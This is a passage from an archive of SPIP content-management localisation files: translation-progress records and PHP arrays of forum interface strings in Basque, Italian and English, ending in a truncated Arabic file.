<langue code="nap" url="http://trad.spip.net/tradlang_module/forum?lang_cible=nap" total="133" traduits="19" relire="0" modifs="16" nouveaux="98" pourcent="14.29">
</langue>
<langue code="nb" url="http://trad.spip.net/tradlang_module/forum?lang_cible=nb" total="133" traduits="25" relire="0" modifs="20" nouveaux="88" pourcent="18.80">
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/forum?lang_cible=nl" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="mpossoz" lien="http://trad.spip.net/auteur/mpossoz" />
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="oc_auv" url="http://trad.spip.net/tradlang_module/forum?lang_cible=oc_auv" total="133" traduits="49" relire="0" modifs="19" nouveaux="65" pourcent="36.84">
</langue>
<langue code="oc_gsc" url="http://trad.spip.net/tradlang_module/forum?lang_cible=oc_gsc" total="133" traduits="49" relire="0" modifs="19" nouveaux="65" pourcent="36.84">
</langue>
<langue code="oc_lms" url="http://trad.spip.net/tradlang_module/forum?lang_cible=oc_lms" total="133" traduits="49" relire="0" modifs="19" nouveaux="65" pourcent="36.84">
</langue>
<langue code="oc_lnc" url="http://trad.spip.net/tradlang_module/forum?lang_cible=oc_lnc" total="133" traduits="50" relire="0" modifs="20" nouveaux="63" pourcent="37.59">
</langue>
<langue code="oc_ni" url="http://trad.spip.net/tradlang_module/forum?lang_cible=oc_ni" total="133" traduits="52" relire="0" modifs="19" nouveaux="62" pourcent="39.10">
</langue>
<langue code="oc_ni_la" url="http://trad.spip.net/tradlang_module/forum?lang_cible=oc_ni_la" total="133" traduits="49" relire="0" modifs="19" nouveaux="65" pourcent="36.84">
</langue>
<langue code="oc_prv" url="http://trad.spip.net/tradlang_module/forum?lang_cible=oc_prv" total="133" traduits="49" relire="0" modifs="19" nouveaux="65" pourcent="36.84">
</langue>
<langue code="oc_va" url="http://trad.spip.net/tradlang_module/forum?lang_cible=oc_va" total="133" traduits="49" relire="0" modifs="19" nouveaux="65" pourcent="36.84">
</langue>
<langue code="pl" url="http://trad.spip.net/tradlang_module/forum?lang_cible=pl" total="133" traduits="50" relire="0" modifs="20" nouveaux="63" pourcent="37.59">
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/forum?lang_cible=pt" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/forum?lang_cible=pt_br" total="133" traduits="106" relire="0" modifs="1" nouveaux="26" pourcent="79.70">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="rn" url="http://trad.spip.net/tradlang_module/forum?lang_cible=rn" total="133" traduits="4" relire="0" modifs="0" nouveaux="129" pourcent="3.01">
</langue>
<langue code="ro" url="http://trad.spip.net/tradlang_module/forum?lang_cible=ro" total="133" traduits="62" relire="0" modifs="22" nouveaux="49" pourcent="46.62">
</langue>
<langue code="roa" url="http://trad.spip.net/tradlang_module/forum?lang_cible=roa" total="133" traduits="21" relire="0" modifs="16" nouveaux="96" pourcent="15.79">
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/forum?lang_cible=ru" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/forum?lang_cible=sk" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
<langue code="sv" url="http://trad.spip.net/tradlang_module/forum?lang_cible=sv" total="133" traduits="52" relire="0" modifs="17" nouveaux="64" pourcent="39.10">
</langue>
<langue code="tr" url="http://trad.spip.net/tradlang_module/forum?lang_cible=tr" total="133" traduits="65" relire="0" modifs="19" nouveaux="49" pourcent="48.87">
</langue>
<langue code="vi" url="http://trad.spip.net/tradlang_module/forum?lang_cible=vi" total="133" traduits="49" relire="0" modifs="20" nouveaux="64" pourcent="36.84">
</langue>
<langue code="zh" url="http://trad.spip.net/tradlang_module/forum?lang_cible=zh" total="133" traduits="46" relire="0" modifs="22" nouveaux="65" pourcent="34.59">
</langue>
</traduction>
forum_eu.php 0000666 00000023334 15252247467 0007125 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=eu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Iruzkinik ez',
// B
'bouton_radio_articles_futurs' => 'geroko artikuluei soilik (ez du aldatzen datu-basea).',
'bouton_radio_articles_tous' => 'artikulu guztiei, salbuespenik gabe.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'artikuluguztiei, desaktibatutako foroan daudenei izan ezik.',
'bouton_radio_enregistrement_obligatoire' => 'Izena ematea derrigorrezkoa da (foroan parte hartu ahal izateko, inskripzioa egin behar da posta elektronikoaren helbidea emanez).',
'bouton_radio_moderation_priori' => 'Aurretiaz moderatua (ekarpenak agerian egongodira lekuaren administrazio-eskubideak dituen pertsona batek onartu eta gero).',
'bouton_radio_modere_abonnement' => 'Moderatua (harpidedunentzat soilik)',
'bouton_radio_modere_posteriori' => 'gerora moderatua',
'bouton_radio_modere_priori' => 'aurretiaz moderatua',
'bouton_radio_publication_immediate' => 'Mezuen bat-bateko argitaratzea (erakarpenak agerian egongo dira igorri bezain laister, gero administraziotik kendu daitezke).',
// D
'documents_interdits_forum' => 'Dokumentuak debekatuak dira foroetan',
// E
'erreur_enregistrement_message' => 'Zure mezuaren garbaketak huts egin du, akats tekniko batengatik',
// F
'form_pet_message_commentaire' => 'Mezurik, azalpenik ?',
'forum' => 'Foroa',
'forum_acces_refuse' => 'Dagoeneko ezin zara foro hauetan sartu.',
'forum_attention_dix_caracteres' => '<b>Adi!</b> zure mezuak hamar karaktere baino gutxiago ditu',
'forum_attention_message_non_poste' => 'Kontuz, mezua ez duzu igorria !',
'forum_attention_nb_caracteres_mini' => '<b>Kontuz !</b> zure mezuak @min@ karaketre bederen eduki behar ditu.',
'forum_attention_trois_caracteres' => '<b>Adi!</b> zure izenburuak hiru karaktere baino gutxiago ditu.',
'forum_attention_trop_caracteres' => '<b>kontuz !</b> zure mezua luzeegi da (@compte@ caractères) : grabatua izateko, ez ditu @max@ karaktero baino gehiago izan behar.',
'forum_avez_selectionne' => 'Aukeratu egin duzu:',
'forum_cliquer_retour' => 'Jarraitzeko hemen klik egin.',
'forum_forum' => 'foroa',
'forum_info_modere' => 'Foro hau aurretiaz moderaturik dago :
Zure ekarpena gunearen administratzaileak onartu ondoren soilik agerian izango da.',
'forum_lien_hyper' => 'Hiperesteka (aukeratzekoa)',
'forum_message' => 'Zure mezua',
'forum_message_definitif' => 'Behin-betiko mezua : gunera igorri',
'forum_message_trop_long' => 'Zure mezua luzeegia da. 20 000 karaktere gehienez onartzen dira.',
'forum_ne_repondez_pas' => 'Ez erantzun mezu elektroniko honi, baizik eta hurrengo helbidean dagoen foroan:',
'forum_page_url' => '(Zure mezua interneten argitaratutako artikulu bati buruzkoa baldin bada, edo informazio gehiago duen orrialde bati buruzkoa, adieraz itzazu jarraian orrialdearen izena bai eta URL helbidea ere).',
'forum_permalink' => 'Iruzkinari lotura iraunkorra',
'forum_poste_par' => '« @titre@ » artikuluaren ondotik @parauteur@-k bidalitako mezua.',
'forum_poste_par_court' => 'Mezu igorlea @parauteur@.',
'forum_poste_par_generique' => 'Iruzkina igorria @parauteur@ (@objet@ « @titre@ »).',
'forum_qui_etes_vous' => '<b>Nor zara ?</b> (aukerazkoa)',
'forum_saisie_texte_info' => 'Inprimaki honek Spip lasterbideak onartzen ditu <code>[->url] {{gizena}} {etzana} <quote> <code> </code> eta HTML kodeak <code><q> <del> <ins></code>. Paragrafoak sortzeko, lerro bat hutsik utz.',
'forum_texte' => 'Zure mezuaren testua:',
'forum_titre' => 'Izenburua',
'forum_url' => 'Zure gunea',
'forum_valider' => 'Aukera hori onartu',
'forum_voir_avant' => 'Aurreikusi',
'forum_votre_email' => 'Zure helbide elektronikoa',
'forum_votre_nom' => 'Zure izena (edo goitizena) :',
'forum_vous_enregistrer' => 'Aurretik inskribatzea beharrezkoa da foro honetan parte hartzeko.
Hornitua izan zaizun identifikadore pertsonala jarraian adieraztea eskertuko dizugu.
Inskribaturik ez bazaude, aurretik inskribatu behar duzu.',
'forum_vous_inscrire' => 'Aurretik inskriba zaitez.',
// I
'icone_bruler_message' => 'Spam gisa salatu',
'icone_bruler_messages' => 'Spam gisa salatu',
'icone_legitimer_message' => 'Onargarri gisa seinalatu',
'icone_poster_message' => 'Mezu bat igorri',
'icone_suivi_forum' => 'Foro publikoaren gaurkotasuna: @nb_forums@ekarpena(k)',
'icone_suivi_forums' => 'Foroen gestioa',
'icone_supprimer_message' => 'Mezu hau kendu',
'icone_supprimer_messages' => 'Mezu hauek ezabatu',
'icone_valider_message' => 'Mezu hau onartu',
'icone_valider_messages' => 'Mezu hauek onartu',
'icone_valider_repondre_message' => 'Mezu hau onartu eta erantzun',
'info_1_message_forum' => 'Iruzkin bat',
'info_activer_forum_public' => 'Foru publikoak aktibatzeko, aukeratu lehenetsitako moderazio erabat',
'info_appliquer_choix_moderation' => 'Moderazio mota hau ezarri',
'info_config_forums_prive' => 'Eremu pribatuan foro mota desberdinak aktibatzen ahal dituzu',
'info_config_forums_prive_admin' => 'gunearen administratzaileei erreserbatutako foroa :',
'info_config_forums_prive_global' => 'Foro orokor bat, idazle guziei irekia :',
'info_config_forums_prive_objets' => 'Foro bat artikulu, berri-labur edo erreferentzitutako gune bakoitzaren azpian :',
'info_desactiver_forum_public' => 'Foro publikoak desaktibatu. Puntualki aktiba daiteke artikuluendako artikuluetarako, baina ez berri-laburretarako edo ataletarako.',
'info_envoi_forum' => 'Foroen jarraipena',
'info_fonctionnement_forum' => 'Foroarenfuntzionamendua',
'info_forums_liees_mot' => 'Hitz honi lotutako iruzkinak',
'info_gauche_suivi_forum_2' => 'Foroak jarraitzeko orrialdea zureguneko kudeaketa-tresna bat da (eta ez eztabaida edo idazketa-eremu bat). Guneko foroetako kontribuzio guztiak bistaratzen ditu, bai gune publikokoak bai eremu pribatukoak eta kontribuzio hauek administratzen uzten dizu.',
'info_liens_syndiques_3' => 'foroak',
'info_liens_syndiques_4' => 'daude',
'info_liens_syndiques_5' => 'foroa',
'info_liens_syndiques_6' => 'dago',
'info_liens_syndiques_7' => 'balidazioaren zain',
'info_liens_texte' => 'Iruzkinak edukitako hiperesteka(k)',
'info_liens_titre' => 'Iruzkinaren izenburuak edukitako hiperesteka(k)',
'info_mode_fonctionnement_defaut_forum_public' => 'Foro publikoenfuntzionamendua',
'info_nb_messages_forum' => '@nb@ iruzkin',
'info_option_email' => 'Guneko bisitari batek artikulu batekin erlazionatutako mezu berri bat bidaltzen duenean foroan, artikuluaren idazleak mezu honetaz abisatuakizan ahal dira e-mailez. Aukera hau erabili nahi duzu ?',
'info_pas_de_forum' => 'fororik ez',
'info_question_visiteur_ajout_document_forum' => 'Foroko mezuei dokumentuen eranstea onartzen baduzu (irudi, soinu..), onartutako fitxategi-luzapenak zehaztu itzazu ((ad : gif, jpg, p,png,mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Beharrez, zehaztu izkizu foroetako dokumentu erantsien fitxategi-luzapen onartuak (ad : gif, jpg, png, mp3).',
'info_selectionner_message' => 'Mezuak hautatu :',
'interface_formulaire' => 'Inprimaki interfazea',
'interface_onglets' => 'Fitxekilako interfazea',
'item_activer_forum_administrateur' => 'Administrazio-taldearen foroa aktibatu.',
'item_config_forums_prive_global' => 'Idazleen foroa aktibatu',
'item_config_forums_prive_objets' => 'Foro hauek aktibatu',
'item_desactiver_forum_administrateur' => 'Administrazio-foroa desaktibatu',
'item_non_config_forums_prive_global' => 'idazleen foroa desaktibatu',
'item_non_config_forums_prive_objets' => 'Foro hauek desaktibatu',
// L
'label_selectionner' => 'Hautatu :',
'lien_reponse_article' => 'Artikuluari erantzuna',
'lien_reponse_breve_2' => 'Atalari erantzuna',
'lien_reponse_message' => 'Mezuari erantzuna',
'lien_reponse_rubrique' => 'Atalari erantzuna',
'lien_reponse_site_reference' => 'Aipatutako guneari erantzuna',
'lien_vider_selection' => 'Selekzioa hustu',
// M
'messages_aucun' => 'Batere',
'messages_meme_auteur' => 'Autore honen mezu guztiak',
'messages_meme_email' => 'Helbide elektroniko honen mezu guztia',
'messages_meme_ip' => 'IP helbide honen mezu guztiak',
'messages_off' => 'Kenduak',
'messages_perso' => 'Pertsonala',
'messages_privadm' => 'Administrazaile',
'messages_prive' => 'Pribatuak',
'messages_privoff' => 'Ezabatuak',
'messages_privrac' => 'Orokorrak',
'messages_prop' => 'Proposatuak',
'messages_publie' => 'Argitaratuak',
'messages_spam' => 'Spam',
'messages_tous' => 'Guztiak',
// O
'onglet_messages_internes' => 'Barne mezuak',
'onglet_messages_publics' => 'Mezu publikoak',
'onglet_messages_vide' => 'Testurik gabeko mezuak',
// R
'repondre_message' => 'Mezuari erantzun',
// S
'statut_off' => 'Ezabatua',
'statut_original' => 'jatorrizkoa',
'statut_prop' => 'Proposatuak',
'statut_publie' => 'Argitaratua',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'Ez beldurtu zure iritzia emateaz. Artikuluari foro bat lotua zaio (orri beherean).',
'texte_en_cours_validation' => 'Artikulu, berri-labur eta iruzkin horiek argitalpenarako proposatuak dira.',
'texte_en_cours_validation_forum' => 'Ez izan zalantzarik zure iritzia emateko beraiei erantsitako foroei esker.',
'texte_messages_publics' => 'Mezu publikoak hemen :',
'titre_cadre_forum_administrateur' => 'Administrarien foroa',
'titre_cadre_forum_interne' => 'Barneko foroa',
'titre_config_forums_prive' => 'Eremu pribatuko foroak',
'titre_forum' => 'Barne-foroa',
'titre_forum_suivi' => 'Foruen kudeaketa',
'titre_page_forum_suivi' => 'Foruenjarraipena',
'titre_selection_action' => 'Hautua',
'tout_voir' => 'Mezu guztiak ikusi',
// V
'voir_messages_objet' => 'mezuak ikusi'
);
?>
forum_it_fem.php 0000666 00000017333 15252247467 0007761 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=it_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'solo agli articoli inseriti dopo questa modifica (nessuna modifica al database attuale).',
'bouton_radio_articles_tous' => 'a tutti gli articoli senza eccezioni.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a tutti gli articoli salvo quelli per cui il forum è disattivato.',
'bouton_radio_enregistrement_obligatoire' => 'Registrazione obbligatoria (le utenti devono abbonarsi fornendo il loro indirizzo email prima di poter inviare contributi).',
'bouton_radio_moderation_priori' => 'Moderazione a priori (i
contributi saranno pubblicati previa autorizzazione delle
amministratori).', # MODIF
'bouton_radio_modere_abonnement' => 'solo su abbonamento',
'bouton_radio_modere_posteriori' => 'moderato a posteriori', # MODIF
'bouton_radio_modere_priori' => 'moderato a priori', # MODIF
'bouton_radio_publication_immediate' => 'Pubblicazione immediata dei messaggi
(i contributi sono pubblicati subito dopo il loro invio, le amministratrici possono
cancellarli successivamente).',
// D
'documents_interdits_forum' => 'Documenti vietati nel forum',
// F
'form_pet_message_commentaire' => 'Un messaggio, un commento?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Non hai accesso a questi forum.',
'forum_attention_dix_caracteres' => '<b>Attenzione!</b> il messaggio deve contenere almeno dieci caratteri.',
'forum_attention_trois_caracteres' => '<b>Attenzione!</b> il titolo deve contenere almeno tre caratteri.',
'forum_attention_trop_caracteres' => '<b>Attenzione!</b> il messaggio è troppo lungo (@compte@ caratteri): per poter essere registrato esso non deve essere più lungo di @max@ caratteri.', # MODIF
'forum_avez_selectionne' => 'Hai selezionato:',
'forum_cliquer_retour' => 'Clicca <a href=\'@retour_forum@\'>qui</a> per continuare.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Questo forum è moderato a priori: il tuo contributo apparirà solo dopo essere stato approvato da un’amministratrice del sito.', # MODIF
'forum_lien_hyper' => '<b>Link ipertestuale</b> (opzionale)', # MODIF
'forum_message_definitif' => 'Messaggio definitivo: invialo al sito',
'forum_message_trop_long' => 'Il tuo messaggio è troppo lungo. La dimensione massima è di 20000 caratteri.', # MODIF
'forum_ne_repondez_pas' => 'Non rispondere a questo email ma intervieni sul forum all’indirizzo seguente:', # MODIF
'forum_page_url' => '(Se il tuo messaggio si riferisce ad un articolo pubblicato sul Web o ad una pagina contenente maggiori informazioni, è possibile indicare di seguito il titolo della pagina ed il suo indirizzo URL.)',
'forum_poste_par' => 'Messaggio inviato da @parauteur@ in calce all’articolo « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Chi sei?</b> (opzionale)', # MODIF
'forum_texte' => 'Testo del messaggio:', # MODIF
'forum_titre' => 'Titolo:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Conferma la scelta',
'forum_voir_avant' => 'Vedi il messaggio prima di inviarlo', # MODIF
'forum_votre_email' => 'Indirizzo email:', # MODIF
'forum_votre_nom' => 'Nome (o pseudonimo):', # MODIF
'forum_vous_enregistrer' => 'È necessario iscriversi
per partecipare a questo forum. Indica qui sotto l’ID personale
che ti è stato fornito. Se non sei registrata, devi',
'forum_vous_inscrire' => 'prima iscriverti.',
// I
'icone_poster_message' => 'Invia un messaggio',
'icone_suivi_forum' => 'Andamento del forum pubblico: @nb_forums@ contributi',
'icone_suivi_forums' => 'Gestione dei forum',
'icone_supprimer_message' => 'Elimina il messaggio',
'icone_valider_message' => 'Convalida il messaggio',
'info_activer_forum_public' => '<i>Per attivare i forum pubblici, scegli il tipo
di moderazione predefinito:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Questa scelta di moderazione verrà applicata:',
'info_config_forums_prive' => 'Nell’area riservata del sito è possibile attivare diversi tipi di forum:', # MODIF
'info_config_forums_prive_admin' => 'Un forum riservato alle amministratrici del sito:',
'info_config_forums_prive_global' => 'Un forum globale, aperto a tutte le redattrici:',
'info_config_forums_prive_objets' => 'Un forum per ogni articolo, breve, sito repertoriato, ecc.:',
'info_desactiver_forum_public' => 'Disattiva l’uso dei forum pubblici.
I forum pubblici potranno essere autorizzati di volta in volta
sui singoli articoli; saranno invece proibiti nelle rubriche, nelle brevi, ecc',
'info_envoi_forum' => 'Notifica dei forum alle autrici degli articoli',
'info_fonctionnement_forum' => 'Funzionamento del forum:',
'info_gauche_suivi_forum_2' => 'La pagina di <i>monitoraggio dei forum</i> è uno strumento di gestione del sito (e non uno spazio di discussione o di redazione). In essa sono pubblicati tutti i contributi dei forum del sito, sia quelli del sito pubblico che quelli dell’area riservata, permettendone la gestione.', # MODIF
'info_liens_syndiques_3' => 'forum',
'info_liens_syndiques_4' => 'sono',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'è',
'info_liens_syndiques_7' => 'in attesa di convalida',
'info_mode_fonctionnement_defaut_forum_public' => 'Modo di funzionamento predefinito dei forum pubblici',
'info_option_email' => 'Quando un visitatore del sito inserisce un nuovo messaggio nel forum
associato a un articolo, le autrici di quest’ultimo possono essere
avvertite via email. Per ogni tipo di forum, indica se desideri utilizzare quest’opzione.',
'info_pas_de_forum' => 'nessun forum',
'info_question_visiteur_ajout_document_forum' => 'Se si desidera autorizzare i visitatori ad allegare dei documenti (immagini, musiche, ecc.) ai propri messaggi nel forum, indicare qui sotto l’elenco delle estensioni dei documenti autorizzati per i forum (per es.: gif, jpg, png, mp3).', # MODIF
'info_question_visiteur_ajout_document_forum_format' => 'Se si desidera autorizzare tutti i tipi di documenti considerati affidabili da SPIP, mettere un asterisco. Per non autorizzare nulla, non indicare nulla.', # MODIF
'item_activer_forum_administrateur' => 'Attiva il forum delle amministratrici',
'item_config_forums_prive_global' => 'Attiva i forum delle redattrici',
'item_config_forums_prive_objets' => 'Attiva questi forum',
'item_desactiver_forum_administrateur' => 'Disattiva il forum delle amministratrici',
'item_non_config_forums_prive_global' => 'Disattiva i forum delle redattrici',
'item_non_config_forums_prive_objets' => 'Disattiva questi forum',
// L
'lien_reponse_article' => 'Risposta all’articolo',
'lien_reponse_breve_2' => 'Risposta alla breve',
'lien_reponse_rubrique' => 'Risposta alla rubrica',
'lien_reponse_site_reference' => 'Risposta al sito repertoriato:', # MODIF
// O
'onglet_messages_internes' => 'Messaggi interni',
'onglet_messages_publics' => 'Messaggi pubblici',
'onglet_messages_vide' => 'Messaggi senza testo',
// R
'repondre_message' => 'Rispondere al messaggio',
// S
'statut_original' => 'originale',
// T
'text_article_propose_publication_forum' => 'Non esitare ad esprimere il tuo punto di vista nel forum di questo articolo (a fondo pagina).',
'texte_en_cours_validation_forum' => 'Non esitare ad esprimere il tuo punto di vista utilizzando i forum ad essi dedicati.',
'titre_cadre_forum_administrateur' => 'Forum privato delle amministratrici',
'titre_cadre_forum_interne' => 'Forum interno',
'titre_config_forums_prive' => 'Forum dell’area riservata',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Monitoraggio dei forum',
'titre_page_forum_suivi' => 'Monitoraggio dei forum'
);
?>
forum_en.php 0000666 00000022564 15252247467 0007122 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'No forum message',
// B
'bouton_radio_articles_futurs' => 'only to future articles (no change to the database).',
'bouton_radio_articles_tous' => 'to all articles without exception.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'to all articles, except those whose forum was disabled.',
'bouton_radio_enregistrement_obligatoire' => 'Registration required (users must subscribe by providing their email address before being able to post contributions).',
'bouton_radio_moderation_priori' => 'Pre-moderation (contributions will be shown only after validation by administrators).',
'bouton_radio_modere_abonnement' => 'registration required',
'bouton_radio_modere_posteriori' => 'post-moderation',
'bouton_radio_modere_priori' => 'pre-moderation',
'bouton_radio_publication_immediate' => 'Immediate publication of messages
(contributions will be shown as soon as they are sent, administrators can
then delete them if necessary).',
// D
'documents_interdits_forum' => 'Documents not allowed in this forum',
// E
'erreur_enregistrement_message' => 'Your post could not be saved due to technical problem',
// F
'form_pet_message_commentaire' => 'Any message or comments?',
'forum' => 'Forum',
'forum_acces_refuse' => 'You no longer have access to these forums.',
'forum_attention_dix_caracteres' => '<b>Warning!</b> Your post must be at least ten characters long.',
'forum_attention_message_non_poste' => 'Be careful, you did not post your message!',
'forum_attention_nb_caracteres_mini' => '<b>Warning!</b> your message must contain @min@ characters at least.',
'forum_attention_trois_caracteres' => '<b>Warning!</b> Your title must be at least three characters long.',
'forum_attention_trop_caracteres' => '<b>Warning !</b> Your message is too long (@compte@ characters) to be saved, it cannot contain more than @max@ characters.',
'forum_avez_selectionne' => 'You have selected:',
'forum_cliquer_retour' => 'Click <a href=\'@retour_forum@\'>here</a> to continue.',
'forum_forum' => 'forum',
'forum_info_modere' => 'This forum is moderated before publication: your contribution will only appear after being validated by an administrator.',
'forum_lien_hyper' => 'Hypertext link',
'forum_message' => 'Your post',
'forum_message_definitif' => 'Finished editing: submit message',
'forum_message_trop_long' => 'Your message is too long. Maximum length is 20000 characters.',
'forum_ne_repondez_pas' => 'Do not reply directly to this email - please use the online forum here:',
'forum_page_url' => '(If your message refers to an article published on the web or to a page providing further information, please enter the title of the page and its URL below).',
'forum_permalink' => 'Permalink to the comment',
'forum_poste_par' => 'Message posted@parauteur@ following your article "@titre@".',
'forum_poste_par_court' => 'Message posted@parauteur@.',
'forum_poste_par_generique' => 'Message posted@parauteur@ (@objet@ "@titre@").',
'forum_qui_etes_vous' => 'Who are you?',
'forum_saisie_texte_info' => 'This form accepts SPIP shortcuts <code>[->url] {{bold}} {italic} <quote> <code></code> and the HTML code <code><q> <del> <ins></code>. To create paragraphs, simply leave blank lines.',
'forum_texte' => 'Text of your message',
'forum_titre' => 'Subject',
'forum_url' => 'URL',
'forum_valider' => 'Validate your choice',
'forum_voir_avant' => 'Preview',
'forum_votre_email' => 'Your email address',
'forum_votre_nom' => 'Your name',
'forum_vous_enregistrer' => 'You must be registered before participating in
this forum. Please
enter your personal identifier
. If you have not yet registered, you must',
'forum_vous_inscrire' => 'register.',
// I
'icone_bruler_message' => 'Report as SPAM',
'icone_bruler_messages' => 'Report as SPAM',
'icone_legitimer_message' => 'Report as lawful',
'icone_poster_message' => 'Post a message',
'icone_suivi_forum' => 'Follow public forum: @nb_forums@ contribution(s)',
'icone_suivi_forums' => 'Manage forums',
'icone_supprimer_message' => 'Delete this post',
'icone_supprimer_messages' => 'Delete these posts',
'icone_valider_message' => 'Validate message',
'icone_valider_messages' => 'Confirm these posts',
'icone_valider_repondre_message' => 'Confirm & reply to this post',
'info_1_message_forum' => '1 forum message',
'info_activer_forum_public' => 'To enable public forums, please choose the default type of moderation:',
'info_appliquer_choix_moderation' => 'Apply this choice for moderation:',
'info_config_forums_prive' => 'You can activate various types of forum in the private area:',
'info_config_forums_prive_admin' => 'A forum reserved for site administrators:',
'info_config_forums_prive_global' => 'A global forum, open to all the authors:',
'info_config_forums_prive_objets' => 'A forum attached to each article, news item, referenced site, etc.:',
'info_desactiver_forum_public' => 'Disable the use of public
forums. Public forums can be enabled on a case by case
basis for articles; they will be permanently disabled for sections, news, etc.',
'info_envoi_forum' => 'Send article forums to the respective authors',
'info_fonctionnement_forum' => 'Forum operation:',
'info_forums_liees_mot' => 'Forum posts related to this keyword',
'info_gauche_suivi_forum_2' => 'The <i>forums management</i> page is a site management tool, not a discussion or editing area. It displays all contributions to the forums, both on the public site and in the private area and allows you to manage these contributions.',
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'are',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'is',
'info_liens_syndiques_7' => 'awaiting validation.',
'info_liens_texte' => 'Link(s) in the post text',
'info_liens_titre' => 'Link(s) in the post title',
'info_mode_fonctionnement_defaut_forum_public' => 'Default mode for public forums',
'info_nb_messages_forum' => '@nb@ forum posts',
'info_option_email' => 'When a visitor posts a message to the forum of an article, the article’s author(s) can be informed of this by email. Indicate for each type of forum if this option should be activated.',
'info_pas_de_forum' => 'no forum',
'info_question_visiteur_ajout_document_forum' => 'If you want to allow visitors to attach documents (images, sound files, etc.) to their forum posts, indicate which file extensions are accepted (e.g. gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'If you want to authorise all document types considered safe by SPIP, use an asterisk. Leave empty to block everything.',
'info_selectionner_message' => 'Select the messages :',
'interface_formulaire' => 'Form interface',
'interface_onglets' => 'Interface with tabs',
'item_activer_forum_administrateur' => 'Enable administrators’ forum',
'item_config_forums_prive_global' => 'Activate the authors’ forum',
'item_config_forums_prive_objets' => 'Activate these forums',
'item_desactiver_forum_administrateur' => 'Disable administrators’ forum',
'item_non_config_forums_prive_global' => 'Disable authors’ forum',
'item_non_config_forums_prive_objets' => 'Disable these forums',
// L
'label_selectionner' => 'Select:',
'lien_reponse_article' => 'Comment on this article',
'lien_reponse_breve_2' => 'Comment on this news item',
'lien_reponse_message' => 'Reply to the post',
'lien_reponse_rubrique' => 'Comment on this section',
'lien_reponse_site_reference' => 'Comment on this website',
'lien_vider_selection' => 'Empty the selection',
// M
'messages_aucun' => 'None',
'messages_meme_auteur' => 'All posts by this author',
'messages_meme_email' => 'All posts from this email',
'messages_meme_ip' => 'All posts by this IP',
'messages_off' => 'Deleted',
'messages_perso' => 'Personal',
'messages_privadm' => 'Administrators',
'messages_prive' => 'Private',
'messages_privoff' => 'Deleted',
'messages_privrac' => 'General',
'messages_prop' => 'Proposed',
'messages_publie' => 'Published',
'messages_spam' => 'Spam',
'messages_tous' => 'All',
// O
'onglet_messages_internes' => 'Private posts',
'onglet_messages_publics' => 'Public posts',
'onglet_messages_vide' => 'Posts without text',
// R
'repondre_message' => 'Reply to this message',
// S
'statut_off' => 'Deleted',
'statut_original' => 'original',
'statut_prop' => 'Proposed',
'statut_publie' => 'Published',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'You can comment on this article via the forum below.',
'texte_en_cours_validation' => 'Articles, news items, forums below are submitted for publication.',
'texte_en_cours_validation_forum' => 'You can comment freely in the forums attached.',
'texte_messages_publics' => 'Public posts on:',
'titre_cadre_forum_administrateur' => 'Administrators’ private forum',
'titre_cadre_forum_interne' => 'Internal forum',
'titre_config_forums_prive' => 'Forums in the private area',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Forums follow-up',
'titre_page_forum_suivi' => 'Forums follow-up',
'titre_selection_action' => 'Selection',
'tout_voir' => 'See all posts',
// V
'voir_messages_objet' => 'see the posts'
);
?>
paquet-forum_ar.php 0000666 00000000731 15252247467 0010407 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
